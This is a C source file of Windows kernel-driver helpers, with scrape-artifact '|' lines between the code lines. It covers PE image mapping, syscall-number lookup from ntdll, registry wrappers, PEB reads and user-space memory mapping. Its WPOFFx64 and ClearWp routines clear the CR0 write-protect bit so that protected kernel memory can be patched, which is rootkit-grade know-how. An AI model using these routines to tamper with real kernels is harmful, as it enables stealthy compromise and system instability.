if (ReadFromFile(usName, &Data, &DataSize))
|
|
{
|
|
PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)
|
|
((PUCHAR)Data + ((PIMAGE_DOS_HEADER)Data)->e_lfanew);
|
|
|
|
PIMAGE_SECTION_HEADER pSection = NULL;
|
|
|
|
ULONG ImageSize = 0, HeadersSize = 0, NumberOfSections = 0;
|
|
|
|
if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
|
|
{
|
|
// 32-bit image
|
|
pSection = (PIMAGE_SECTION_HEADER)
|
|
(pHeaders32->FileHeader.SizeOfOptionalHeader +
|
|
(PUCHAR)&pHeaders32->OptionalHeader);
|
|
|
|
ImageSize = pHeaders32->OptionalHeader.SizeOfImage;
|
|
HeadersSize = pHeaders32->OptionalHeader.SizeOfHeaders;
|
|
NumberOfSections = pHeaders32->FileHeader.NumberOfSections;
|
|
}
|
|
else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
|
|
{
|
|
// 64-bit image
|
|
PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)
|
|
((PUCHAR)Data + ((PIMAGE_DOS_HEADER)Data)->e_lfanew);
|
|
|
|
pSection = (PIMAGE_SECTION_HEADER)
|
|
(pHeaders64->FileHeader.SizeOfOptionalHeader +
|
|
(PUCHAR)&pHeaders64->OptionalHeader);
|
|
|
|
ImageSize = pHeaders64->OptionalHeader.SizeOfImage;
|
|
HeadersSize = pHeaders64->OptionalHeader.SizeOfHeaders;
|
|
NumberOfSections = pHeaders64->FileHeader.NumberOfSections;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unkown machine type\n");
|
|
ExFreePool(Data);
|
|
return FALSE;
|
|
}
|
|
|
|
if (*Image = ExAllocatePool(NonPagedPool, ImageSize))
|
|
{
|
|
ULONG i = 0;
|
|
// copy headers
|
|
RtlCopyMemory(*Image, Data, HeadersSize);
|
|
|
|
// copy sections
|
|
for (i = 0; i < NumberOfSections; i++)
|
|
{
|
|
RtlCopyMemory(
|
|
(PUCHAR)*Image + pSection->VirtualAddress,
|
|
(PUCHAR)Data + pSection->PointerToRawData,
|
|
min(pSection->SizeOfRawData, pSection->Misc.VirtualSize)
|
|
);
|
|
|
|
pSection++;
|
|
}
|
|
|
|
*MappedImageSize = ImageSize;
|
|
|
|
return TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() ERROR\n");
|
|
}
|
|
|
|
ExFreePool(Data);
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
VOID WPOFFx64()
|
|
{
|
|
UINT64 cr0 = __readcr0();
|
|
cr0 &= 0xfffffffffffeffff;
|
|
__writecr0(cr0);
|
|
}
|
|
|
|
VOID WPONx64()
|
|
{
|
|
UINT64 cr0 = __readcr0();
|
|
cr0 |= 0x10000;
|
|
__writecr0(cr0);
|
|
}
|
|
|
|
//--------------------------------------------------------------------------------------
|
|
#ifdef WP_STUFF
|
|
void __stdcall ClearWp(PVOID Param)
|
|
{
|
|
#ifdef _X86_
|
|
__asm
|
|
{
|
|
mov eax,cr0
|
|
and eax,not 000010000h
|
|
mov cr0,eax
|
|
}
|
|
#else
|
|
// clear wp-bit in cr0 register
|
|
WPOFFx64();
|
|
#endif // _X_86_
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
void __stdcall SetWp(PVOID Param)
|
|
{
|
|
#ifdef _X86_
|
|
__asm
|
|
{
|
|
mov eax,cr0
|
|
or eax,000010000h
|
|
mov cr0,eax
|
|
}
|
|
#else
|
|
// set wp-bit in cr0 register
|
|
//_set_wp();
|
|
WPONx64();
|
|
#endif // _X_86_
|
|
}
|
|
#endif // WP_STUFF
|
|
//--------------------------------------------------------------------------------------
|
|
typedef struct _PROCESSOR_THREAD_PARAM
|
|
{
|
|
KAFFINITY Mask;
|
|
PKSTART_ROUTINE Routine;
|
|
PVOID Param;
|
|
|
|
} PROCESSOR_THREAD_PARAM,
|
|
*PPROCESSOR_THREAD_PARAM;
|
|
|
|
void NTAPI ProcessorThread(PVOID Param)
|
|
{
|
|
PPROCESSOR_THREAD_PARAM ThreadParam = (PPROCESSOR_THREAD_PARAM)Param;
|
|
|
|
// bind thread to specific processor
|
|
KeSetSystemAffinityThread(ThreadParam->Mask);
|
|
|
|
// execute payload on this processor
|
|
ThreadParam->Routine(ThreadParam->Param);
|
|
}
|
|
|
|
void ForEachProcessor(PKSTART_ROUTINE Routine, PVOID Param)
|
|
{
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
KAFFINITY ActiveProcessors = 0;
|
|
KAFFINITY i = 0;
|
|
if (KeGetCurrentIrql() > PASSIVE_LEVEL)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Invalid IRQL (Must be =PASSIVE_LEVEL)\n");
|
|
return;
|
|
}
|
|
|
|
// get bitmask of active processors
|
|
ActiveProcessors = KeQueryActiveProcessors();
|
|
|
|
for (i = 0; i < sizeof(KAFFINITY) * 8; i++)
|
|
{
|
|
KAFFINITY Mask = (KAFFINITY)(1 << i);
|
|
// check if this processor bit present in mask
|
|
if (ActiveProcessors & Mask)
|
|
{
|
|
HANDLE hThread;
|
|
PROCESSOR_THREAD_PARAM ThreadParam;
|
|
|
|
ThreadParam.Mask = Mask;
|
|
ThreadParam.Param = Param;
|
|
ThreadParam.Routine = Routine;
|
|
|
|
// create thread for this processor
|
|
ns = PsCreateSystemThread(
|
|
&hThread,
|
|
THREAD_ALL_ACCESS,
|
|
NULL, NULL, NULL,
|
|
ProcessorThread,
|
|
&ThreadParam
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
PVOID Thread;
|
|
// get pointer to thread object
|
|
ns = ObReferenceObjectByHandle(
|
|
hThread,
|
|
THREAD_ALL_ACCESS,
|
|
NULL,
|
|
KernelMode,
|
|
&Thread,
|
|
NULL
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
// waiting for thread termination
|
|
KeWaitForSingleObject(Thread, Executive, KernelMode, FALSE, NULL);
|
|
ObDereferenceObject(Thread);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
ZwClose(hThread);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "PsCreateSystemThread() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
ULONG GetSyscallNumber(char *lpszName)
|
|
{
|
|
// get base address of ntdll.dll, that mapped into the system process
|
|
PVOID NtdllBase = KernelGetModuleBase("ntdll.dll");
|
|
if (NtdllBase)
|
|
{
|
|
// get function addres by name hash
|
|
ULONG FuncRva = KernelGetExportAddress(NtdllBase, lpszName);
|
|
if (FuncRva)
|
|
{
|
|
PUCHAR Func = (PUCHAR)NtdllBase + FuncRva;
|
|
#ifdef _X86_
|
|
// check for mov eax,imm32
|
|
if (*Func == 0xB8)
|
|
{
|
|
// return imm32 argument (syscall numbr)
|
|
return *(PULONG)((PUCHAR)Func + 1);
|
|
}
|
|
#elif _AMD64_
|
|
// check for mov eax,imm32
|
|
if (*(Func + 3) == 0xB8)
|
|
{
|
|
// return imm32 argument (syscall numbr)
|
|
return *(PULONG)(Func + 4);
|
|
}
|
|
#endif
|
|
}
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN RegQueryValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID *Data, PULONG DataSize)
|
|
{
|
|
BOOLEAN bRet = FALSE;
|
|
PKEY_VALUE_FULL_INFORMATION ValueInformation = NULL;
|
|
ULONG ResultLen = 0;
|
|
UNICODE_STRING usValueName;
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
|
|
RtlInitUnicodeString(&usValueName, lpwcName);
|
|
|
|
if (Data && DataSize)
|
|
{
|
|
*Data = NULL;
|
|
*DataSize = 0;
|
|
}
|
|
|
|
// get required buffer size
|
|
ns = ZwQueryValueKey(
|
|
hKey,
|
|
&usValueName,
|
|
KeyValueFullInformation,
|
|
&ValueInformation,
|
|
0,
|
|
&ResultLen
|
|
);
|
|
if ((ns == STATUS_BUFFER_TOO_SMALL ||
|
|
ns == STATUS_BUFFER_OVERFLOW) && ResultLen > 0)
|
|
{
|
|
// allocate memory for key information
|
|
ValueInformation = (PKEY_VALUE_FULL_INFORMATION)M_ALLOC(ResultLen);
|
|
if (ValueInformation)
|
|
{
|
|
memset(ValueInformation, 0, ResultLen);
|
|
|
|
// query key information
|
|
ns = ZwQueryValueKey(
|
|
hKey,
|
|
&usValueName,
|
|
KeyValueFullInformation,
|
|
ValueInformation,
|
|
ResultLen,
|
|
&ResultLen
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
if (Type == REG_NONE || Type == ValueInformation->Type)
|
|
{
|
|
if (Data && DataSize)
|
|
{
|
|
// allocate memory for value data
|
|
if (*Data = M_ALLOC(ValueInformation->DataLength))
|
|
{
|
|
RtlCopyMemory(
|
|
*Data,
|
|
(PUCHAR)ValueInformation + ValueInformation->DataOffset,
|
|
ValueInformation->DataLength
|
|
);
|
|
|
|
*DataSize = ValueInformation->DataLength;
|
|
bRet = TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
|
|
}
|
|
}
|
|
else
|
|
{
|
|
// just say about value existance
|
|
bRet = TRUE;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(
|
|
__FILE__, __LINE__,
|
|
__FUNCTION__"() ERROR: Bad value type (%d)\n",
|
|
ValueInformation->Type
|
|
);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwQueryValueKey() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
M_FREE(ValueInformation);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwQueryValueKey() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN RegSetValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID Data, ULONG DataSize)
|
|
{
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
UNICODE_STRING usValueName;
|
|
RtlInitUnicodeString(&usValueName, lpwcName);
|
|
|
|
ns = ZwSetValueKey(hKey, &usValueName, 0, Type, Data, DataSize);
|
|
if (!NT_SUCCESS(ns))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwSetValueKey() fails; status: 0x%.8x\n", ns);
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
#ifdef _X86_
|
|
#define PEB_PROCESS_PARAMS_OFFSET 0x10
|
|
#define PROCESS_PARAMS_FLAGS_OFFSET 0x08
|
|
#define PROCESS_PARAMS_IMAGE_NAME_OFFSET 0x38
|
|
#elif _AMD64_
|
|
#define PEB_PROCESS_PARAMS_OFFSET 0x20
|
|
#define PROCESS_PARAMS_FLAGS_OFFSET 0x08
|
|
#define PROCESS_PARAMS_IMAGE_NAME_OFFSET 0x60
|
|
#endif
|
|
|
|
#define PROCESS_PARAMETERS_NORMALIZED 1 // pointers are absolute (not self-relative)
|
|
|
|
BOOLEAN GetProcessFullImagePath(PEPROCESS Process, PUNICODE_STRING ImagePath)
|
|
{
|
|
BOOLEAN bRet = FALSE;
|
|
HANDLE hProcess = NULL;
|
|
|
|
// get handle to target process
|
|
NTSTATUS ns = ObOpenObjectByPointer(
|
|
Process,
|
|
OBJ_KERNEL_HANDLE,
|
|
NULL,
|
|
0,
|
|
NULL,
|
|
KernelMode,
|
|
&hProcess
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
PROCESS_BASIC_INFORMATION ProcessInfo;
|
|
|
|
// get address of PEB
|
|
ns = ZwQueryInformationProcess(
|
|
hProcess,
|
|
ProcessBasicInformation,
|
|
&ProcessInfo,
|
|
sizeof(ProcessInfo),
|
|
NULL
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
KAPC_STATE ApcState;
|
|
|
|
// change context to target process
|
|
KeStackAttachProcess(Process, &ApcState);
|
|
|
|
__try
|
|
{
|
|
PUCHAR Peb = (PUCHAR)ProcessInfo.PebBaseAddress;
|
|
if (Peb)
|
|
{
|
|
// get pointer to RTL_USER_PROCESS_PARAMETERS
|
|
PUCHAR ProcessParams = *(PUCHAR *)(Peb + PEB_PROCESS_PARAMS_OFFSET);
|
|
if (ProcessParams)
|
|
{
|
|
// get image path
|
|
PUNICODE_STRING ImagePathName = (PUNICODE_STRING)
|
|
(ProcessParams + PROCESS_PARAMS_IMAGE_NAME_OFFSET);
|
|
|
|
if (ImagePathName->Buffer && ImagePathName->Length > 0)
|
|
{
|
|
// allocate string
|
|
if (AllocUnicodeString(ImagePath, ImagePathName->Length))
|
|
{
|
|
PWSTR lpwcName = NULL;
|
|
ULONG Flags = *(PULONG)(ProcessParams + PROCESS_PARAMS_FLAGS_OFFSET);
|
|
|
|
if (Flags & PROCESS_PARAMETERS_NORMALIZED)
|
|
{
|
|
// pointer to buffer is absolute address
|
|
lpwcName = ImagePathName->Buffer;
|
|
}
|
|
else
|
|
{
|
|
// pointer to buffer is relative address
|
|
lpwcName = (PWSTR)(ProcessParams + (ULONGLONG)ImagePathName->Buffer);
|
|
}
|
|
|
|
if (AppendUnicodeToString(ImagePath, lpwcName, ImagePathName->Length))
|
|
{
|
|
bRet = TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "AppendUnicodeToString() ERROR\n");
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "AllocUnicodeString() ERROR\n");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() EXCEPTION\n");
|
|
}
|
|
|
|
KeUnstackDetachProcess(&ApcState);
|
|
}
|
|
else
|
|
{
|
|
// Can't query information about process, probably 'System' or rootkit activity
|
|
}
|
|
|
|
ZwClose(hProcess);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ObOpenObjectByPointer() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN AllocateUserMemory(ULONG Size, PMAPPED_MDL MdlInfo)
|
|
{
|
|
PVOID Buffer = NULL;
|
|
MdlInfo->Mdl = NULL;
|
|
MdlInfo->Buffer = NULL;
|
|
MdlInfo->MappedBuffer = NULL;
|
|
|
|
// allocate kernel-mode buffer in non-paged pool
|
|
Buffer = M_ALLOC(Size);
|
|
if (Buffer)
|
|
{
|
|
// allocate memory descriptor
|
|
PMDL Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);
|
|
if (Mdl)
|
|
{
|
|
PVOID MappedBuffer = NULL;
|
|
__try
|
|
{
|
|
// lock allocated pages
|
|
MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess);
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): MmProbeAndLockPages() EXCEPTION\n");
|
|
|
|
IoFreeMdl(Mdl);
|
|
M_FREE(Buffer);
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
// map allocated pages into the user space
|
|
MappedBuffer = MmMapLockedPagesSpecifyCache(
|
|
Mdl,
|
|
UserMode,
|
|
MmCached,
|
|
NULL,
|
|
FALSE,
|
|
NormalPagePriority
|
|
);
|
|
if (MappedBuffer)
|
|
{
|
|
MdlInfo->Mdl = Mdl;
|
|
MdlInfo->Buffer = Buffer;
|
|
MdlInfo->MappedBuffer = MappedBuffer;
|
|
|
|
return TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): MmMapLockedPagesSpecifyCache() fails\n");
|
|
}
|
|
|
|
MmUnlockPages(Mdl);
|
|
IoFreeMdl(Mdl);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): IoAllocateMdl() fails\n");
|
|
}
|
|
|
|
M_FREE(Buffer);
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): M_ALLOC() fails\n");
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
void FreeUserMemory(PMAPPED_MDL MdlInfo)
|
|
{
|
|
// unmap user-mode address
|
|
MmUnmapLockedPages(MdlInfo->MappedBuffer, MdlInfo->Mdl);
|
|
|
|
// unlock pages
|
|
MmUnlockPages(MdlInfo->Mdl);
|
|
|
|
// free memory descriptor
|
|
IoFreeMdl(MdlInfo->Mdl);
|
|
|
|
// free buffer
|
|
M_FREE(MdlInfo->Buffer);
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOLEAN IsWow64Process(PEPROCESS Process, BOOLEAN *bIsWow64)
|
|
{
|
|
HANDLE hProcess = NULL;
|
|
NTSTATUS ns = STATUS_UNSUCCESSFUL;
|
|
|
|
*bIsWow64 = FALSE;
|
|
|
|
// get handle to target process
|
|
ns = ObOpenObjectByPointer(
|
|
Process,
|
|
OBJ_KERNEL_HANDLE,
|
|
NULL,
|
|
0,
|
|
NULL,
|
|
KernelMode,
|
|
&hProcess
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
ULONG_PTR Wow64Info = 0;
|
|
|
|
ns = ZwQueryInformationProcess(
|
|
hProcess,
|
|
ProcessWow64Information,
|
|
&Wow64Info,
|
|
sizeof(Wow64Info),
|
|
NULL
|
|
);
|
|
if (NT_SUCCESS(ns))
|
|
{
|
|
if (Wow64Info)
|
|
{
|
|
// this is wow64 process
|
|
*bIsWow64 = TRUE;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ZwQueryInformationProcess() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
ZwClose(hProcess);
|
|
return TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "ObOpenObjectByPointer() fails; status: 0x%.8x\n", ns);
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
// EoF
|